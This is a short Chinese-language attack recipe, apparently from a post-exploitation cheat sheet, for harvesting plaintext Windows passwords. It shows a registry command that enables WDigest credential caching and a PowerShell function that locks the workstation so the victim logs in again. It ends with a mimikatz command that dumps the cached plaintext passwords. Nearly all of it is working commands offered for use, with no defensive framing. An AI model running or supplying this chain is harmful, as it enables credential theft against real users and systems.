抓取明文密码

  • 管理员权限下运行命令修改注册表:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 还原改为0即可
  • 需要用户注销或者重新登录,这里使用powershell脚本强制注销,代码如下:

Function Lock-WorkStation {

$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation
  • 等待用户重新登录即可使用mimikatz抓取到明文密码

mimikatz "privilege::debug" "sekurlsa::wdigest" "exit"